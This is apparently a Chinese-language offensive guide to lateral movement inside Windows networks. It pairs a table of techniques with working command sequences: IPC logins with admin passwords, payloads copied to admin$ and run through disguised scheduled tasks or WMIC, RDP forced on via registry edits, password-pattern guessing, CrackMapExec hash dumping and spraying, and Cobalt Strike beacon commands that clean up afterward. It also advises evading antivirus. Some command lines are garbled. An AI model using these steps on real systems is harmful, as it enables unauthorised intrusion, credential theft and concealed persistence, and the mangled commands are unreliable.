内网渗透: 横向渗透方法总结
0x01 基本横向方法:
横向方法 | 实现方法 |
---|---|
远程计划任务,远程服务管理 | $IPC远程操作实现目标上线 |
Dcom 远程执行 | 通过Com对象进行远程命令执行 |
Rdp 远程执行 | RDP配合代码执行进行横向渗透 |
SSH 远程执行 | MSF配合命令执行进行横向渗透 |
Mssql 远程执行 | MSF配合Hash-dump模块,或者通过存储过程进行命令执行 |
Oracle 远程执行 | |
Mysql 远程执行 | |
Post gresql 远程执行 | |
集控下发 各类 EDR 主控端 补丁服务器 | |
SSP | |
SSH 类后门 别名记录 | |
各类 Java 中间件 RCE Nday Tomcat,ActiveMQ,Weblogic,Jenkins,shiro,fastjson | MSF配合各类中间件利用工具 |
IIS6.0 Webdav RCE & PUT | 利用中间件漏洞RCE实现横向 |
OWA CVE 2020 0688 | |
CVE 2019 0708 | 3389漏洞利用 |
MS17 010 | 永恒之蓝利用 |
MS08 067 | |
Rsync 写文件 | 通过文件同步 |
NFS 错误配置 | |
内网钓鱼 利用内部 邮件 OA 聊天工具 社工 FTP /NAS 挑 文件绑马替换 | |
DNS 劫持 挂马 钓鱼 | |
Rdp 反向劫持 条件苛刻 |
通过收集的敏感信息横向 | 实现方法 |
---|---|
个人机浏览器 Web 密码 抓取 找上传 传 shell | 常规WEB渗透,寻找关键系统getshell |
抓取各类三方工具客户端 [Xshell,SecureCRT,Navicat,SSMS,PLSQL,Filezilla,xftp密码 | 获取敏感信息,进行密码收集,定点横向 |
MS14 068 | 通过漏洞获取域控权限 |
服务票据爆破 | 域内服务暴力破解 |
Ldap 喷射 | 通过工具进行Ldap喷射 |
绑定登录脚本 | 通过域控进行设定登陆脚本 |
EDR下发策略 | 各类高权限的恶意策略下发 |
0x02 具体实现步骤
[+] 远程计划任务
前提条件:
- 1.必须通过其他手段拿到本地或者域管理账号密码
- 2.若在横向渗透过程中,要保证当前机器能
net use
远程到目标机器上 - 3.目标机器开启了
task scheduler
服务,正常运行Task Scheduler
具体步骤:
- XP/2003以下版本利用方式
net use \\10.10.10.10\admin$ /user:"administrator" !QAZ2wsx # net use
net time 10.10.10.10 # 查看 远程 windows 机器时间
xcopy Patches.exe 192.168.3.102 admin$ temp # 把 payload拷到远程机器的某个临时目录下
at 192.168.3.102 19:30 /every:5,6,7,10,18,19,21,24,28 windows temp Patches.exe # 开始在 远程 机器 上创建计划任务 只 在 每个月 的这几天的晚上七点半 准时 执行 指定 的 payload
at 192.168.3.102 # 查看 远程机器上的 所有 计划任务 列表
at 192.168.3.102 /delete /yes # 删除 远程机器上的所有计划任务 也可以 用 指定 id 的 方式 删除 单条 计划任务
net use 192.168.3.102 admin$ /del # 用完 以后 立即 删除 该 ipc 连接
- 通过IPC共享木马文件,先查看目标时间:
- Windows 7/windows 2003 以上
具体操作流程
net use \\192.168.3.108\admin$ /user:"administrator" "admin!@#45"
net time \\192.168.3.108
xcopy c:\rev.bat \\192.168.3.108\admin$\temp\
chcp 437 # 如果目标是中文系统,最好先调整下字符集,不然会有问题
schtasks /create /s 192.168.3.108 /u "administrator" /p "admin!@#45" /RL HIGHEST /F /tn "WindowsUpdates" /tr "C:/Windows/temp/bit.exe" /sc DAILY /mo 1 /ST 20:15
#在远程的目标机器上创建计划任务
schtasks /run /tn WindowsUpdates /s 192.168.3.108 /U " administrator" /P "admin!@#45" # 创建完以后,远程手动运行
schtasks /query /s 192.168.3.108 /U "administrator" /P "admin!@#45" | findstr "WindowsUpdates" # 运行完以后,随手检查运行状态
schtasks /delete /F /tn WindowsUpdates /s 192.168.3.108 /U " administrator" /P "admin!@#45" # 一般情况下,在我们拿到远程机器shell 以后,立即删除远程机器上的计划任务即可
[+] Dcom 远程执行
前提条件:
- 1.必须拥有管理员权限,目标机开启共享且关闭防火墙
- 2.若在域内环境横向渗透过程中,要保证当前机器获取了域管理员证书
具体步骤:
[+] RDP 横向渗透
前提条件:
- 1.在拿下一台机器后,Dump-Hash之后得到明文密码,结合本机信息猜测其他机器密码,进行横向(动静较大)
- 2.拥有管理员权限或者RDP组权限
- 3.通过RDP成功连接时,执行程序实现横向渗透
具体步骤:
(1)密码规则猜测,或者弱口令直接撞3389(工作组环境)
- 假设拿到DMZ区域的WEB服务器,DumpHash后,获得密码格式
# IP: 10.10.10.130 密码: ABCD130!@.
# 仔细划分为三部分:
# ABCD 目标公司名称简称
# 130 目标系统IP的C段地址
# !@. 密码策略问题,加的特殊字符
# 由此可以猜测主机内其他机器管理员密码情况,从而定点横向,从WEB到数据库从数据库到核心。。。。
(2) 通过高权限用户配合高密码进行横向RDP喷射
-
高权限域用户,Dump到明文密码,3389端口开启:
- RDP端口查看方式:
# 通过注册表查询3389 REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections # 查看RDP服务是否开启:1关闭,0开启 REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber # 查看RDP服务的端口 # 通过进程查看 tasklist /svc | find "TermService" # 找到对应服务进程的PID netstat -ano | find "3220" # 找到进程对应的端口号 # 通过监听端口查看 netstat -ano | findstr LIS # 查看当前监听端口,有些情况可能RDP端口更改
-
强开RDP端口方法:
# 注册表开启,高权限用户: REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f # 监听 3389 端口 # 注册表文件开启,高权限用户: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] "fDenyTSConnections"=dword:00000000 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] "PortNumber"=dword:00000d3d # Wmic启动远程主机RDP服务: wmic /node: "10.10.10.130" /USER:"10.10.10.130\administrator" PATH win32_erminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 # 需要输入远程机器上管理员密码
-
后续通过一些RDP爆破工具,进行爆破,前提是已经进行过
3389
端口的扫描得到结构,以免动静太大,效率太低!
[+] SMB 横向渗透
前提条件:
- 1.获取到目标机器的明文密码/NTLM-Hash
- 2.若在工作组内进行
SMB
的爆破,目标机器开启445端口,开启admin目录共享,以及密码正确
常用方法:
- 1.基础的手动进行IPC连接,实现横向
- 2.通过msf自带的
psexec
模块进行横向 - 3.通过
CrackMapexec
进行横向渗透 - 4.通过计划任务进行
smb
的爆破,实现横向渗透 - 5.目标开启
135
端口,通过WMI
进行命令执行,实现横向 - 6.通过powershll脚本实现PTH,进行横向渗透
基本步骤:
工具地址:
https://github.com/maaaaz/CrackMapExecWin
https://github.com/byt3bl33d3r/CrackMapExec
以CrackMapExec
为例,通常情况下,有Python版本的编译的exe版本,实战时要修改特征,如果要落地到目标机器,注意免杀!例子:工作组环境下的利用:
- 首先先通过手中的机器,dump到Hash或者明文密码,为了效率问题,针对已知网段的
445
端口进行探测,保存结果:
crackmapexec.exe -d . -t 10 172.16.0.0/16
- 探测后的结果,通过手中的密码/Hash去撞一下机器,顺便获取登陆成功后的机器的Hash,为后续做准备:
for /f "delims=" %i in (C:\windows\temp\ip.txt) do @crackmapexec.exe -d . -u administrator -p !QAZ@WSX 1 --sam %
- 筛选Hash后续进行,第二次传递,实战中可以通过计划任务,配合免杀的MimiKatz进行抓取明文密码:
[+] SMB 横向渗透
基于wmic的横向渗透,目标防火墙关闭,开启135端口
beacon>shell net use N10.7.6.30\admin$ /user:"administrator""xxxx@1234"
beacon>shell copy SysDebug.exe N10.7.6.30ladminS\debug\
beacon>shell wmic/NODE:"10.7.6.30"/user:"administrator"/password:"xxxx@1234" PROCESS
call create"c:\windows\debug\SysDebug.exe"
beacon>shell del \10.7.5.25\admin$\debug\SysDebug.exe/F
beacon>shell net use\10.7.6.30ladmin$/del
SMB碰撞
shell for/f "delims=" %i in(D:/用户文档/yanc/Contacts/all.txt)do SysLog.exe-h%i
user.txt pwd.txt>>sys.logs
基于IPC的横向渗透,目标445端口开放:
beacon>shell net use \\10.ip.ip.ip\admin$ /user:"administrator" "password"
beacon>shell copy debug.exe \\10.ip.ip.ip\admin$\debug\
beacon>shell wmic /NODE:"10.ip.ip.ip" /user:"administrator" /password:"passsword" PROCESS call create "c:\windows\debug\debug.exe"
beacon>shell del \\10.ip.ip.ip\admin$\debug\debug.exe /F
beacon>shell net use \\10.ip.ip.ip\admin$ /del